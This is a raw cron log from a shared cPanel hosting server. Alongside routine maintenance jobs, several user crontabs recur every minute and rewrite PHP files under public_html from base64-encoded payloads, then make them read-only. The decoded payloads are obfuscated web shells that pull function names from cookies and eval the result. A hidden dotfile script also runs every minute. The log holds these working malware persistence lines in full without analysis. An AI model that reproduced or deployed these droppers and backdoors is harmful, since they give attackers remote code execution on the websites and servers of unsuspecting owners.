Jun  7 08:45:01 medusa CROND[29384]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 08:45:01 medusa CROND[29386]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:45:01 medusa CROND[29387]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:45:01 medusa CROND[29390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 08:45:01 medusa CROND[29393]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:45:01 medusa CROND[29395]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 08:45:01 medusa CROND[29396]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:45:01 medusa CROND[29398]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:45:01 medusa CROND[29401]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:45:01 medusa CROND[29406]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 08:45:01 medusa CROND[29402]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Jun  7 08:45:01 medusa CROND[29410]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:45:01 medusa CROND[29416]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:46:01 medusa CROND[31092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:46:01 medusa CROND[31101]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 08:46:01 medusa CROND[31102]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 08:46:01 medusa CROND[31104]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:46:01 medusa CROND[31105]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:46:01 medusa CROND[31106]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:46:01 medusa CROND[31108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:46:01 medusa CROND[31110]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:46:01 medusa CROND[31111]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:46:01 medusa CROND[31113]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:46:01 medusa CROND[31118]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:46:01 medusa CROND[31119]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:46:01 medusa CROND[31120]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:46:01 medusa CROND[31121]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:46:01 medusa CROND[31123]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 08:47:01 medusa CROND[32618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:47:01 medusa CROND[32630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:47:01 medusa CROND[32631]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:47:01 medusa CROND[32632]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:47:01 medusa CROND[32633]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:47:01 medusa CROND[32629]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 08:47:01 medusa CROND[32634]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
